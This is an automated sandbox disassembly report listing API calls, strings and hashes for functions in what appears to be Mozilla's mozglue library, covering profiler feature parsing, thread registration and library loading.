Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 94b76636f99ffd07114a4f151aec59dcb6d2598d60fa7d4b3905766af542c8f8
Instruction ID: b3b9cb022db72f0e9f9477c7989f80cbda05744432ed32d297e3daa30a732aad
Opcode Fuzzy Hash: 94b76636f99ffd07114a4f151aec59dcb6d2598d60fa7d4b3905766af542c8f8
Instruction Fuzzy Hash: 965169707113235BDB009F36CD84A663AF8AB4A785F114925AA21F3A55EFB0F811CF6D

Function 6C69CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C66582D), ref: 6C69CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C66582D), ref: 6C69CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C6CFE98,?,?,?,?,?,6C66582D), ref: 6C69CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C66582D), ref: 6C69CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C66582D), ref: 6C69CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C66582D), ref: 6C69CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C66582D), ref: 6C69CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C69CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C69CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C69CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C69CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C69CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C69CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C69CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C69CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C69CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C69CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C69CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C69CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C69CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C69CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C69CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C69CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C69CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C69CE8A

Strings

nostacksampling, xrefs: 6C69CD7C
cpuallthreads, xrefs: 6C69CE16
notimerresolutionchange, xrefs: 6C69CE00
ipcmessages, xrefs: 6C69CDBE
mainthreadio, xrefs: 6C69CC7C
default, xrefs: 6C69CC21
unregisteredthreads, xrefs: 6C69CE58
seqstyle, xrefs: 6C69CCE6
java, xrefs: 6C69CC37
processcpu, xrefs: 6C69CE6E
stackwalk, xrefs: 6C69CCF8
samplingallthreads, xrefs: 6C69CE2C
preferencereads, xrefs: 6C69CD92
audiocallbacktracing, xrefs: 6C69CDD4
fileioall, xrefs: 6C69CCA8
fileio, xrefs: 6C69CC92
nativeallocations, xrefs: 6C69CDA8
leaf, xrefs: 6C69CC66
jsallocations, xrefs: 6C69CD0E
markersallthreads, xrefs: 6C69CE42
noiostacks, xrefs: 6C69CCBE
Unrecognized feature "%s"., xrefs: 6C69CEA0
screenshots, xrefs: 6C69CCD4
power, xrefs: 6C69CE84

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 602cefd0f958e7c68f7242adeed9a91ecb3ecbc503f71a6bb229bb2c15ae9e18
Instruction ID: 86e23dd8be6c638818287a695d03abbef18e979f159a2decd0edf4e43f665e4b
Opcode Fuzzy Hash: 602cefd0f958e7c68f7242adeed9a91ecb3ecbc503f71a6bb229bb2c15ae9e18
Instruction Fuzzy Hash: D05142D1B4562772FA0531156D20BEA1485EF5334AF14443AEE1BA2E90FB05E70FCAAF

Function 6C664470 Relevance: 47.4, APIs: 20, Strings: 7, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C664730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C6644B2,6C6DE21C,6C6DF7F8), ref: 6C66473E
Part of subcall function 6C664730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C66474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C6644BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C6644D2
InitOnceExecuteOnce.KERNEL32(6C6DF80C,6C65F240,?,?), ref: 6C66451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C66455C
LoadLibraryW.KERNEL32(?), ref: 6C664592
InitializeCriticalSection.KERNEL32(6C6DF770), ref: 6C6645A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C6645AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C6645BB
InitOnceExecuteOnce.KERNEL32(6C6DF818,6C65F240,?,?), ref: 6C664612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C664636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C664644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C66466D
VerSetConditionMask.NTDLL ref: 6C66469F
VerSetConditionMask.NTDLL ref: 6C6646AB
VerSetConditionMask.NTDLL ref: 6C6646B2
VerSetConditionMask.NTDLL ref: 6C6646B9
VerSetConditionMask.NTDLL ref: 6C6646C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C6646CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C6646F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C6646FD

Strings

a.8/, xrefs: 6C66447C
Gml, xrefs: 6C6644FC
WRusr.dll, xrefs: 6C6644B5
kernel32.dll, xrefs: 6C6644CD
l, xrefs: 6C664578
user32.dll, xrefs: 6C664557, 6C66463F
NativeNtBlockSet_Write, xrefs: 6C6646F7

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: Gml$NativeNtBlockSet_Write$WRusr.dll$a.8/$kernel32.dll$l$user32.dll
API String ID: 1702738223-2776462556
Opcode ID: 7f36ea0ce7a6cd817d4207c682ef3097cf320b583f35835c022c5327a6ca0a1b
Instruction ID: eab5048da82757be091df25168019b24db7482201df077dfba6ea1edc53506d4
Opcode Fuzzy Hash: 7f36ea0ce7a6cd817d4207c682ef3097cf320b583f35835c022c5327a6ca0a1b
Instruction Fuzzy Hash: AE6106B0604244AFEB00DF63D895BA57BB8EF86348F04C458E5049BA41D7F1AA85CF9F

Function 6C69F6E0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C69F8F9

Part of subcall function 6C666390: GetCurrentThreadId.KERNEL32 ref: 6C6663D0
Part of subcall function 6C666390: AcquireSRWLockExclusive.KERNEL32 ref: 6C6663DF
Part of subcall function 6C666390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C66640E

ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F93A
GetCurrentThreadId.KERNEL32 ref: 6C69F98A
GetCurrentThreadId.KERNEL32 ref: 6C69F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F716

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

Part of subcall function 6C65B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C65B5E0

GetCurrentThreadId.KERNEL32 ref: 6C69F739
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F746
GetCurrentThreadId.KERNEL32 ref: 6C69F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C6D385B,00000002,?,?,?,?,?), ref: 6C69F829
free.MOZGLUE(?,?,00000000,?), ref: 6C69F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C69F866
free.MOZGLUE(?), ref: 6C69FA0C

Part of subcall function 6C665E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6655E1), ref: 6C665E8C
Part of subcall function 6C665E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C665E9D
Part of subcall function 6C665E60: GetCurrentThreadId.KERNEL32 ref: 6C665EAB
Part of subcall function 6C665E60: GetCurrentThreadId.KERNEL32 ref: 6C665EB8
Part of subcall function 6C665E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C665ECF
Part of subcall function 6C665E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C665F27
Part of subcall function 6C665E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C665F47
Part of subcall function 6C665E60: GetCurrentProcess.KERNEL32 ref: 6C665F53
Part of subcall function 6C665E60: GetCurrentThread.KERNEL32 ref: 6C665F5C
Part of subcall function 6C665E60: GetCurrentProcess.KERNEL32 ref: 6C665F66
Part of subcall function 6C665E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C665F7E

free.MOZGLUE(?), ref: 6C69F9C5
free.MOZGLUE(?), ref: 6C69F9DA

Strings

a.8/, xrefs: 6C69F6F2
Thread , xrefs: 6C69F789
" attempted to re-register as ", xrefs: 6C69F858
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C69F9A6
[D %d/%d] profiler_register_thread(%s), xrefs: 6C69F71F

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s$a.8/
API String ID: 882766088-28070019
Opcode ID: b1212e13894a61565bf873e0a71522ff3f24380dbdd5ad14f6d00f76d55e6a09
Instruction ID: ac30982e706685506d0b69bd6c31d6219e903b9dfed3c3e8203c429b5339d853
Opcode Fuzzy Hash: b1212e13894a61565bf873e0a71522ff3f24380dbdd5ad14f6d00f76d55e6a09
Instruction Fuzzy Hash: 908106716042019FDB10DF25C880AAEB7B5EFC6308F55456DE8499BB51EB30E849CBAF

Function 6C69EE40 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69EE60
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EE6D
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C69EEA5
CloseHandle.KERNEL32(?), ref: 6C69EEB4
free.MOZGLUE(00000000), ref: 6C69EEBB
GetCurrentThreadId.KERNEL32 ref: 6C69EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69EECF

Part of subcall function 6C69DE60: GetCurrentThreadId.KERNEL32 ref: 6C69DE73
Part of subcall function 6C69DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C664A68), ref: 6C69DE7B
Part of subcall function 6C69DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C664A68), ref: 6C69DEB8
Part of subcall function 6C69DE60: free.MOZGLUE(00000000,?,6C664A68), ref: 6C69DEFE
Part of subcall function 6C69DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C69DF38

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

GetCurrentThreadId.KERNEL32 ref: 6C69EF1E
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EF2B
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EF59
GetCurrentThreadId.KERNEL32 ref: 6C69EFB0
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EFBD
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EFE1
GetCurrentThreadId.KERNEL32 ref: 6C69EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F000

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C69F02F

Part of subcall function 6C69F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C69F09B
Part of subcall function 6C69F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C69F0AC
Part of subcall function 6C69F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C69F0BE

Strings

a.8/, xrefs: 6C69EF8A
[I %d/%d] profiler_stop, xrefs: 6C69EED7
[I %d/%d] profiler_pause, xrefs: 6C69F008

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop$a.8/
API String ID: 16519850-3563270394
Opcode ID: 50cf38773bf96c03438fd58e1a0dbcecab98bc745bc5edc233a6154d42347645
Instruction ID: 54bae6752647e8a262a5c2443303edca6c75c1bed4f4c2427930dd117207f867
Opcode Fuzzy Hash: 50cf38773bf96c03438fd58e1a0dbcecab98bc745bc5edc233a6154d42347645
Instruction Fuzzy Hash: EC5126316002129FDB005F66D8887A97BB4FF8B36DF14456AE91683B42DB747805CBAF

Function 6C665E60 Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C665E9D

Part of subcall function 6C675B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6756EE,?,00000001), ref: 6C675B85
Part of subcall function 6C675B50: EnterCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675B90
Part of subcall function 6C675B50: LeaveCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675BD8
Part of subcall function 6C675B50: GetTickCount64.KERNEL32 ref: 6C675BE4

GetCurrentThreadId.KERNEL32 ref: 6C665EAB
GetCurrentThreadId.KERNEL32 ref: 6C665EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C665ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C666017

Part of subcall function 6C654310: moz_xmalloc.MOZGLUE(00000010,?,6C6542D2), ref: 6C65436A
Part of subcall function 6C654310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C6542D2), ref: 6C654387

moz_xmalloc.MOZGLUE(00000004), ref: 6C665F47
GetCurrentProcess.KERNEL32 ref: 6C665F53
GetCurrentThread.KERNEL32 ref: 6C665F5C
GetCurrentProcess.KERNEL32 ref: 6C665F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C665F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C665F27

Part of subcall function 6C66CA10: mozalloc_abort.MOZGLUE(?), ref: 6C66CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6655E1), ref: 6C665E8C

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6655E1), ref: 6C66605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6655E1), ref: 6C6660CC

Strings

a.8/, xrefs: 6C665E70
GeckoMain, xrefs: 6C665ECE, 6C666015

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain$a.8/
API String ID: 3711609982-2389516255
Opcode ID: 211275ea6b9994ee602de484c5dd006bb7ae7fee4f0c774230fc7d995417a863
Instruction ID: 2cd89fd41bcb337c7bb41e7ff879147b1e396609699be3e1535cb98365efdae5
Opcode Fuzzy Hash: 211275ea6b9994ee602de484c5dd006bb7ae7fee4f0c774230fc7d995417a863
Instruction Fuzzy Hash: 6371BFB06047409FD710DF2AD480A6ABBF0FF8A304F54496DE58687F52D731E948CB9A

Function 6C669590 Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6531C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C653217
Part of subcall function 6C6531C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C653236
Part of subcall function 6C6531C0: FreeLibrary.KERNEL32 ref: 6C65324B
Part of subcall function 6C6531C0: __Init_thread_footer.LIBCMT ref: 6C653260
Part of subcall function 6C6531C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C65327F
Part of subcall function 6C6531C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C65328E
Part of subcall function 6C6531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6532AB
Part of subcall function 6C6531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6532D1
Part of subcall function 6C6531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C6532E5
Part of subcall function 6C6531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C6532F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C669675
__Init_thread_footer.LIBCMT ref: 6C669697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C6696E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C669707
__Init_thread_footer.LIBCMT ref: 6C66971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C669773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C6697B7
FreeLibrary.KERNEL32 ref: 6C6697D0
FreeLibrary.KERNEL32 ref: 6C6697EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C669824

Strings

a.8/, xrefs: 6C66959E, 6C669632
MapViewOfFileNuma2, xrefs: 6C6697B1
ntdll.dll, xrefs: 6C6696E3
NtMapViewOfSection, xrefs: 6C669701
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C669670

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$a.8/$ntdll.dll
API String ID: 3361784254-1674684345
Opcode ID: fd55bb060ca324fad644d0592b8733138f23f4a485bfe4bfee0cdb20c0154ef6
Instruction ID: 99e33e289692ab79beea46c92a1b769f038b8cec121decf90c14e6842b775f47
Opcode Fuzzy Hash: fd55bb060ca324fad644d0592b8733138f23f4a485bfe4bfee0cdb20c0154ef6
Instruction Fuzzy Hash: AF61B0716002069BDF008F67E8D4BDA7BB1EB8A358F118529ED1597B80D770B854CBAF

Function 6C6AD4D0 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6AD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD52A
GetCurrentThreadId.KERNEL32 ref: 6C6AD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD55F
free.MOZGLUE(00000000), ref: 6C6AD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C6AD5D3
GetCurrentThreadId.KERNEL32 ref: 6C6AD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD652
GetCurrentThreadId.KERNEL32 ref: 6C6AD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD6A2

Strings

a.8/, xrefs: 6C6AD4E1, 6C6AD5EE

Memory Dump Source

